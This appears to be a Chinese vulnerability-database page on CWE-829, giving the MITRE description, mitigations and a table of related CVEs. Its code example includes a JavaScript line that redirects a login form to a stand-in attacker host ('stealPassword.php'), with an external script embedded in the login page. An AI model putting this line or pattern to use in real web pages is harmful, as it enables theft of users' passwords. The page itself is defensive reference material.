目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

目标: 1000 元 · 已筹: 1359 元

100%
请我们喝杯咖啡

CWE-829 从非可信控制范围包含功能例程 类漏洞列表 193

CWE-829 从非可信控制范围包含功能例程 类弱点 193 条 CVE 漏洞汇总，含 AI 中文分析。

CWE-829 属于不信任源引入漏洞，指软件从非预期控制域导入可执行功能或库。攻击者常通过篡改第三方依赖或供应链，注入恶意代码以执行任意操作，从而破坏系统完整性。开发者应严格验证所有外部组件的来源与完整性，仅集成受信任且经过安全审计的库，并实施最小权限原则，确保仅加载符合预期的功能模块，以阻断不可信代码的执行路径。

MITRE CWE 官方描述
CWE：CWE-829 从不受信任的控制域（Untrusted Control Sphere）中引入功能 英文：产品从预期控制域（Intended Control Sphere）之外的源导入、需要或包含可执行功能（如库）。
常见影响 (1)
Confidentiality, Integrity, Availability Execute Unauthorized Code or Commands
An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site. This could enable the injection of malware, information exposure by granting excessive privileges or…
缓解措施 (5)
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, Operation Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, Operation Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
代码示例 (1)
This login webpage includes a weather widget from an external website:
<div class="header"> Welcome! <div id="loginBox">Please Login: <form id ="loginForm" name="loginForm" action="login.php" method="post"> Username: <input type="text" name="username" /> <br/> Password: <input type="password" name="password" /> <input type="submit" value="Login" /> </form> </div> <div id="WeatherWidget"> <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script> </div> </div>
Bad · HTML
...Weather widget code.... document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
Attack · JavaScript
CVE ID 标题 CVSS 风险等级 Published
CVE-2025-67842 Mintlify 安全漏洞 — Mintlify Platform 6.4 Medium 2025-12-19
CVE-2025-68162 JetBrains TeamCity 安全漏洞 — TeamCity 2.7 Low 2025-12-16
CVE-2025-67900 NXLog Agent 安全漏洞 — NXLog Agent 8.1 High 2025-12-14
CVE-2025-65964 n8n 安全漏洞 — n8n 9.8AI Critical AI 2025-12-08
CVE-2025-53841 Akamai Guardicore Platform Agent 安全漏洞 — Guardicore Platform Agent 7.8 High 2025-12-03
CVE-2025-66022 FACTION 安全漏洞 — faction 9.7 Critical 2025-11-26
CVE-2025-33205 NVIDIA Nemo Framework 安全漏洞 — NeMo Framework 7.3 High 2025-11-25
CVE-2024-32011 Siemens Spectrum Power 安全漏洞 — Spectrum Power 4 8.8 High 2025-11-11
CVE-2025-12509 Bizerba BRAIN2 安全漏洞 — BRAIN2 8.4 High 2025-10-31
CVE-2025-62726 n8n 安全漏洞 — n8n 8.8 High 2025-10-30
CVE-2025-11023 ArkSigner AcBakImzala 安全漏洞 — AcBakImzala 9.8 Critical 2025-10-23
CVE-2025-41390 TruffleHog 安全漏洞 — TruffleHog 7.8 High 2025-10-20
CVE-2025-52655 HCL MyXalytics 安全漏洞 — HCL MyXalytics 3.1 Low 2025-10-10
CVE-2025-62186 Ankitects Anki 安全漏洞 — Anki 6.7 Medium 2025-10-07
CVE-2025-36355 IBM Security Verify Access（ISAM）和IBM Security Verify Access Docker 安全漏洞 — Security Verify Access Appliance 8.5 High 2025-10-06
CVE-2025-61592 Cursor 安全漏洞 — cursor 8.8 High 2025-10-03
CVE-2025-59828 Claude Code 安全漏洞 — claude-code 9.1AI Critical AI 2025-09-24
CVE-2025-57729 JetBrains IntelliJ IDEA 安全漏洞 — IntelliJ IDEA 6.5 Medium 2025-08-20
CVE-2025-8714 PostgreSQL 安全漏洞 — PostgreSQL 8.8 High 2025-08-14
CVE-2025-36727 Simplehelp 安全漏洞 — Simplehelp 8.3 High 2025-07-25
CVE-2025-54558 OpenAI Codex CLI 安全漏洞 — Codex CLI 4.1 Medium 2025-07-25
CVE-2025-27582 One Identity Password Manager 安全漏洞 — Password Manager 7.6 High 2025-07-14
CVE-2025-53546 Folo 安全漏洞 — Folo 9.1 Critical 2025-07-09
CVE-2025-49809 mtr 安全漏洞 — mtr 7.8 High 2025-07-04
CVE-2025-32463 Sudo 安全漏洞 — Sudo 9.3 Critical 2025-06-30
CVE-2025-36852 Nx 安全漏洞 — Azure Based Remote Cache Plugin for Nx 6.8AI Medium AI 2025-06-10
CVE-2024-52976 Elastic Agent 安全漏洞 — Elastic Agent 4.4 Medium 2025-05-01
CVE-2025-20236 Cisco Webex 安全漏洞 — Cisco Webex Teams 8.8 High 2025-04-16
CVE-2024-45482 B&R Industrial Automation B&R APROL 安全漏洞 — B&R APROL 7.8AI High AI 2025-03-25
CVE-2025-27607 Python JSON Logger 安全漏洞 — python-json-logger 8.8 High 2025-03-07

CWE-829（从非可信控制范围包含功能例程） 是常见的弱点类别，本平台收录该类弱点关联的 193 条 CVE 漏洞。